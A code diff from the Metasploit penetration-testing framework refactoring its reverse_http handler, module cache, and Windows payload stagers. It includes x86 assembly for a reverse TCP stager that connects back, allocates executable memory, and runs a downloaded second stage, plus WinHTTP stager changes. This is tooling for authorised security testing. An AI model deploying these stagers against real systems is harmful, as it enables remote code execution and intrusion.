b/lib/msf/core/framework.rb @@ -11,6 +11,7 @@ require 'monitor' # require 'metasploit/framework/version' +require 'msf/base/config' require 'msf/core' require 'msf/util' @@ -33,16 +34,10 @@ class Framework Minor = Metasploit::Framework::Version::MINOR Point = Metasploit::Framework::Version::PATCH Release = "-#{Metasploit::Framework::Version::PRERELEASE}" - - if(Point) - Version = "#{Major}.#{Minor}.#{Point}#{Release}" - else - Version = "#{Major}.#{Minor}#{Release}" - end + Version = Metasploit::Framework::VERSION Revision = "$Revision$" - # Repository information RepoRevision = ::Msf::Util::SVN.revision RepoUpdated = ::Msf::Util::SVN.updated @@ -92,6 +87,7 @@ class Framework self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json")) + self.browser_profiles = Hash.new # Configure the thread factory Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) @@ -194,6 +190,12 @@ class Framework # into generated payloads. # attr_reader :uuid_db + # + # The framework instance's browser profile store. These profiles are + # generated by client-side modules and need to be shared across + # different contexts. + # + attr_reader :browser_profiles # The framework instance's db manager. The db manager # maintains the database db and handles db events @@ -251,6 +253,7 @@ protected attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: attr_writer :uuid_db # :nodoc: + attr_writer :browser_profiles # :nodoc: end class FrameworkEventSubscriber diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9102039e86..fb643c2fea 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -2,9 +2,10 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'rex/payloads/meterpreter/uri_checksum' -require 'rex/post/meterpreter/packet' +require 'rex/post/meterpreter' require 'rex/parser/x509_certificate' require 'msf/core/payload/windows/verify_ssl' +require 'rex/user_agent' module Msf module Handler @@ -19,13 +20,12 @@ module ReverseHttp include Msf::Handler include Rex::Payloads::Meterpreter::UriChecksum include Msf::Payload::Windows::VerifySsl - include Rex::Post::Meterpreter # # Returns the string representation of the handler type # def self.handler_type - return "reverse_http" + return 'reverse_http' end # @@ -44,19 +44,21 @@ module ReverseHttp register_options( [ - OptString.new('LHOST', [ true, "The local listener hostname" ]), - OptPort.new('LPORT', [ true, "The local listener port", 8080 ]) + OptString.new('LHOST', [true, 'The local listener hostname']), + OptPort.new('LPORT', [true, 'The local listener port', 8080]) ], Msf::Handler::ReverseHttp) register_advanced_options( [ - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]), - OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]), - OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]), - OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

' ]), + OptString.new('ReverseListenerComm', [false, 'The specific communication channel to use for this listener']), + OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]), + OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), + OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), + OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), + OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), + OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), + OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

']), OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) end @@ -65,7 +67,7 @@ module ReverseHttp # # @return [String] def listener_address - if datastore['ReverseListenerBindAddress'].to_s == "" + if datastore['ReverseListenerBindAddress'].to_s == '' bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' else bindaddr = datastore['ReverseListenerBindAddress'] @@ -89,20 +91,30 @@ module ReverseHttp # # @return [String] A URI of the form +scheme://host:port/+ def payload_uri(req) - if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost'] + callback_host = nil + + # Extract whatever the client sent us in the Host header + if req && req.headers && req.headers['Host'] callback_host = req.headers['Host'] - elsif Rex::Socket.is_ipv6?(datastore['LHOST']) - callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}" - else - callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}" end + + # Override the host and port as appropriate + if datastore['OverrideRequestHost'] || callback_host.nil? + callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] + callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] + if Rex::Socket.is_ipv6? callback_name + callback_name = "[#{callback_name}]" + end + callback_host = "#{callback_name}:#{callback_port}" + end + "#{scheme}://#{callback_host}/" end # Use the {#refname} to determine whether this handler uses SSL or not # def ssl? - !!(self.refname.index("https")) + !!(self.refname.index('https')) end # URI scheme @@ -110,7 +122,7 @@ module ReverseHttp # @return [String] One of "http" or "https" depending on whether we # are using SSL def scheme - (ssl?) ? "https" : "http" + (ssl?) ? 'https' : 'http' end # Create an HTTP listener @@ -118,7 +130,7 @@ module ReverseHttp def setup_handler comm = datastore['ReverseListenerComm'] - if (comm.to_s == "local") + if (comm.to_s == 'local') comm = ::Rex::Socket::Comm::Local else comm = nil @@ -137,7 +149,7 @@ module ReverseHttp 'MsfExploit' => self, }, comm, - (ssl?) ? datastore["HandlerSSLCert"] : nil + (ssl?) ? datastore['HandlerSSLCert'] : nil ) self.service.server_name = datastore['MeterpreterServerName'] @@ -166,7 +178,7 @@ module ReverseHttp # def stop_handler if self.service - self.service.remove_resource("/") + self.service.remove_resource('/') if self.service.resources.empty? && self.sessions == 0 Rex::ServiceManager.stop_service(self.service) end @@ -184,7 +196,7 @@ protected info = {} return @proxy_settings if @proxy_settings - if datastore['PayloadProxyHost'].to_s == "" + if datastore['PayloadProxyHost'].to_s == '' @proxy_settings = info return @proxy_settings end @@ -205,10 +217,10 @@ protected info[:info] = "socks=#{info[:info]}" else info[:info] = "http://#{info[:info]}" - if datastore['PayloadProxyUser'].to_s != "" + if datastore['PayloadProxyUser'].to_s != '' info[:username] = datastore['PayloadProxyUser'].to_s end - if datastore['PayloadProxyPass'].to_s != "" + if datastore['PayloadProxyPass'].to_s != '' info[:password] = datastore['PayloadProxyPass'].to_s end end @@ -258,15 +270,11 @@ protected # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that # was generated on the fly. This means we form a new session for each. - sum = uri_checksum_lookup(:connect) - new_uri = generate_uri_uuid(sum, uuid) + '/' - # This bit is going to need to be validated by the Ruby/MSF masters as I - # am not sure that this is the best way to get a TLV packet out from this - # handler. # Hurl a TLV back at the caller, and ignore the response - pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url') - pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri) + pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, + 'core_patch_url') + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/") resp.body = pkt.to_r when :init_python @@ -285,8 +293,6 @@ protected # Patch all the things blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'") - blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") unless datastore['PayloadProxyHost'].blank? @@ -364,7 +370,7 @@ protected when :connect print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...") - resp.body = "" + resp.body = '' conn_id = req.relative_resource # Short-circuit the payload's handle_connection processing for create_session @@ -372,13 +378,10 @@ protected :passive_dispatcher => obj.service, :conn_id => conn_id, :url => payload_uri(req) + conn_id + "/\x00", - # TODO ### Figure out what to do with these options given that the payload ### - # settings might not match the handler, should we instead read the remote? # - :expiration => datastore['SessionExpirationTimeout'].to_i, # - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, # - :retry_total => datastore['SessionRetryTotal'].to_i, # - :retry_wait => datastore['SessionRetryWait'].to_i, # - ############################################################################## + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid }) @@ -388,7 +391,7 @@ protected print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} with UA #{req.headers['User-Agent']}...") end resp.code = 200 - resp.message = "OK" + resp.message = 'OK' resp.body = datastore['HttpUnknownRequestResponse'].to_s self.pending_connections -= 1 end diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index d7532bdfb4..a124881f76 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}" elsif (in_ctx_id == 'WPVDB') self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}" + elsif (in_ctx_id == 'PACKETSTORM') + self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif (in_ctx_id == 'URL') self.site = in_ctx_val.to_s else diff --git a/lib/msf/core/module/ui/line/verbose.rb b/lib/msf/core/module/ui/line/verbose.rb index 399ef5c82b..cab61ff858 100644 --- a/lib/msf/core/module/ui/line/verbose.rb +++ b/lib/msf/core/module/ui/line/verbose.rb @@ -1,6 +1,6 @@ module Msf::Module::UI::Line::Verbose # Verbose version of #print_line - def vprint_line(msg) + def vprint_line(msg='') print_line(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end -end \ No newline at end of file +end diff --git a/lib/msf/core/module/ui/message/verbose.rb b/lib/msf/core/module/ui/message/verbose.rb index 577a3293d1..1a8d0175b9 100644 --- a/lib/msf/core/module/ui/message/verbose.rb +++ b/lib/msf/core/module/ui/message/verbose.rb @@ -1,21 +1,21 @@ module Msf::Module::UI::Message::Verbose # Verbose version of #print_error - def vprint_error(msg) + def vprint_error(msg='') print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_good - def vprint_good(msg) + def vprint_good(msg='') print_good(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_status - def vprint_status(msg) + def vprint_status(msg='') print_status(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end # Verbose version of #print_warning - def vprint_warning(msg) + def vprint_warning(msg='') print_warning(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE'] end -end \ No newline at end of file +end diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index a1f626a5a6..a0c7f34856 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -113,15 +113,15 @@ module Msf::ModuleManager::Cache framework.db.update_all_module_details end - refresh_cache_from_database + refresh_cache_from_database(self.module_paths) end end # Refreshes the in-memory cache from the database cache. # # @return [void] - def refresh_cache_from_database - self.module_info_by_path_from_database! + def refresh_cache_from_database(allowed_paths=[""]) + self.module_info_by_path_from_database!(allowed_paths) end protected @@ -149,10 +149,12 @@ module Msf::ModuleManager::Cache # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type, # :reference_name. - def module_info_by_path_from_database! + def module_info_by_path_from_database!(allowed_paths=[""]) self.module_info_by_path = {} if framework_migrated? + allowed_paths = allowed_paths.map{|x| x + "/"} + ActiveRecord::Base.connection_pool.with_connection do # TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file. # Use find_each so Mdm::Module::Details are returned in batches, which will @@ -162,6 +164,9 @@ module Msf::ModuleManager::Cache type = module_detail.mtype reference_name = module_detail.refname + # Skip cached modules that are not in our allowed load paths + next if allowed_paths.select{|x| path.index(x) == 0}.empty? + typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) # join to '' so that typed_path_prefix starts with file separator typed_path_suffix = File.join('', typed_path) diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 81997aae12..5f4586efd6 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -253,21 +253,13 @@ class Msf::Modules::Loader::Base # @return [Hash{String => Integer}] Maps module type to number of # modules loaded def load_modules(path, options={}) - options.assert_valid_keys(:force, :whitelist) + options.assert_valid_keys(:force) force = options[:force] count_by_type = {} recalculate_by_type = {} - # This is used to avoid loading the same thing twice - loaded_items = [] - each_module_reference_name(path, options) do |parent_path, type, module_reference_name| - # In msfcli mode, if a module is already loaded, avoid loading it again - next if loaded_items.include?(module_reference_name) and options[:whitelist] - - # Keep track of loaded modules in msfcli mode - loaded_items << module_reference_name if options[:whitelist] load_module( parent_path, type, diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 693bcc9036..46f182e4f6 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -56,24 +56,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # The module_reference_name doesn't have a file extension module_reference_name = module_reference_name_from_path(relative_entry_descendant_path) - # If the modules argument is set, this means we only want to load specific ones instead - # of loading everything to memory - see msfcli. - if whitelist.empty? - # Load every module we see, which is the default behavior. - yield path, type, module_reference_name - else - whitelist.each do |pattern| - # We have to use entry_descendant_path to see if this is the module we want, because - # this is easier to identify the module type just by looking at the file path. - # For example, if module_reference_name is used (or a parsed relative path), you can't - # really tell if php/generic is a NOP module, a payload, or an encoder. - if entry_descendant_path =~ pattern - yield path, type, module_reference_name - else - next - end - end - end + yield path, type, module_reference_name end end end diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index 91a288e599..0fda6c7757 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -20,23 +20,13 @@ module Payload::Generic def initialize(info = {}) super(merge_info(info, 'Arch' => ARCH_ALL - [ARCH_TTY], - 'Platform' => '')) + 'Platform' => '' + )) - register_advanced_options( - [ - OptString.new('PLATFORM', - [ - false, - "The platform that is being targeted", - nil - ]), - OptString.new('ARCH', - [ - false, - "The architecture that is being targeted", - nil - ]) - ], Msf::Payload::Generic) + register_advanced_options([ + OptString.new('PLATFORM', [false, "The platform that is being targeted", nil]), + OptString.new('ARCH', [false, "The architecture that is being targeted", nil]) + ], Msf::Payload::Generic) end # @@ -103,8 +93,8 @@ module Payload::Generic # Stager overrides # - def stage_payload - redirect_to_actual(:stage_payload) + def stage_payload(*args) + redirect_to_actual(:stage_payload, *args) end def stage_offsets diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb index 0ef0ee4da9..4e78d65711 100644 --- a/lib/msf/core/payload/php/bind_tcp.rb +++ b/lib/msf/core/payload/php/bind_tcp.rb @@ -54,7 +54,7 @@ module Payload::Php::BindTcp ip = '[::]' end - php = %Q^// 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0 + if datastore['PayloadUUIDSeed'].to_s.length > 0 || datastore['PayloadUUIDRaw'].to_s.length > 0 raise ArgumentError, "A PayloadUUIDSeed or PayloadUUIDRaw value was specified, but this payload doesn't have enough room for a UUID" end return "/" + generate_uri_checksum(sum, len, prefix="") diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 50139c1e4f..b740201d30 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -70,7 +70,7 @@ module Payload::Windows::ReflectiveDllInject ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index f6c3e32657..b47015f67b 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -46,7 +46,6 @@ module Payload::Windows::ReverseHttp ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, retry_count: datastore['StagerRetryCount'] } @@ -60,6 +59,9 @@ module Payload::Windows::ReverseHttp conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] + else + # Otherwise default to small URIs + conf[:url] = generate_small_uri end generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 360b690355..d11c607606 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds some bytes! + space += 44 space += uuid_required_size if include_send_uuid @@ -108,137 +108,155 @@ module Payload::Windows::ReverseTcp ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) reverse_tcp: - push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. - push 0x5F327377 ; ... - push esp ; Push a pointer to the "ws2_32" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "ws2_32" ) + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "ws2_32" ) - mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) - sub esp, eax ; alloc some space for the WSAData structure - push esp ; push a pointer to this stuct - push eax ; push the wVersionRequested parameter - push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call ebp ; WSAStartup( 0x0190, &WSAData ); - - create_socket: - push eax ; if we succeed, eax will be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - xchg edi, eax ; save the socket for later, don't care about the value of eax after this + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); set_address: - push #{retry_count} ; retry counter - push #{encoded_host} ; host in little-endian format - push #{encoded_port} ; family AF_INET and port number - mov esi, esp ; save pointer to sockaddr struct + push #{retry_count} ; retry counter + + create_socket: + push #{encoded_host} ; host in little-endian format + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save pointer to sockaddr struct + + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this try_connect: - push 16 ; length of the sockaddr struct - push esi ; pointer to the sockaddr struct - push edi ; the socket - push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call ebp ; connect( s, &sockaddr, 16 ); + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); - test eax,eax ; non-zero means a failure + test eax,eax ; non-zero means a failure jz connected - handle_failure: - dec dword [esi+8] + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi+8] jnz try_connect ^ if opts[:exitfunk] asm << %Q^ - failure: - call exitfunk - ^ + failure: + call exitfunk + ^ else asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ end - # TODO: Rewind the stack, free memory, try again -=begin - if opts[:reliable] - asm << %Q^ - reconnect: - - ^ - end -=end asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. connected: - ^ + ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ recv: ; Receive the size of the incoming second stage... - push 0 ; flags - push 4 ; length = sizeof( DWORD ); - push esi ; the 4 byte buffer on the stack to hold the second stage length - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, &dwLength, 4, 0 ); + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, &dwLength, 4, 0 ); ^ - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end - - asm << %Q^ - ; Alloc a RWX buffer for the second stage - mov esi, [esi] ; dereference the pointer to the second stage length - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; push the newly recieved second stage length. - push 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - ; Receive the second stage and execute it... - xchg ebx, eax ; ebx = our new memory address for the new stage - push ebx ; push the address of the new stage so we can return into it - - read_more: ; - push 0 ; flags - push esi ; length - push ebx ; the current address into our second stage's RWX buffer - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, buffer, length, 0 ); - ^ - - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect if reliable asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails cmp eax, 0 - jle failure + jle cleanup_socket ^ end asm << %Q^ - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly recieved second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_socket: + ; clear up the socket + push edi ; socket handle + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call ebp ; closesocket(socket) + + ; restore the stack back to the connection retry count + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage ^ if opts[:exitfunk] diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index bfd9d130fe..be1c5e95b7 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -1,9 +1,6 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/block_api' -require 'msf/core/payload/windows/exitfunk' require 'msf/core/payload/windows/reverse_http' module Msf @@ -16,24 +13,31 @@ module Msf module Payload::Windows::ReverseWinHttp - include Msf::Payload::TransportConfig include Msf::Payload::Windows::ReverseHttp + # + # Register reverse_winhttp specific options + # + def initialize(*args) + super + register_advanced_options([ + OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) + ], self.class) + end + # # Generate the first stage # def generate(opts={}) conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount'] + host: datastore['LHOST'] || '127.127.127.127', + port: datastore['LPORT'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -42,6 +46,10 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] conf[:retry_count] = datastore['StagerRetryCount'] + conf[:proxy_ie] = datastore['PayloadProxyIE'] + else + # Otherwise default to small URIs + conf[:uri] = generate_small_uri end generate_reverse_winhttp(conf) @@ -105,7 +113,7 @@ module Payload::Windows::ReverseWinHttp # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging + # @option opts [String] :uri The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil @@ -117,9 +125,22 @@ module Payload::Windows::ReverseWinHttp retry_count = [opts[:retry_count].to_i, 1].max verify_ssl = nil encoded_cert_hash = nil - encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_uri = asm_generate_wchar_array(opts[:uri]) encoded_host = asm_generate_wchar_array(opts[:host]) + # this is used by the IE proxy functionality when an autoconfiguration URL + # is specified. We need the full URL otherwise the call to resolve the proxy + # for the URL doesn't work. + full_url = 'http' + full_url << 's' if opts[:ssl] + full_url << '://' << opts[:host] + full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443 + full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80 + full_url << opts[:uri] + + encoded_full_url = asm_generate_wchar_array(full_url) + encoded_uri_index = full_url.rindex('/') * 2 + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") @@ -164,6 +185,14 @@ module Payload::Windows::ReverseWinHttp 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE end + ie_proxy_autodect = ( + 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP + 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A + + ie_proxy_flags = ( + 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT + 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL + asm = %Q^ ; Input: EBP must be the address of 'api_call'. ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -218,14 +247,34 @@ module Payload::Windows::ReverseWinHttp ^ end + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + push eax ; Session handle is required later for ie proxy + ^ + end + asm << %Q^ WinHttpConnect: push ebx ; Reserved (NULL) push #{opts[:port]} ; Port [3] call got_server_uri ; Double call to get pointer for both server_uri and server_uri: 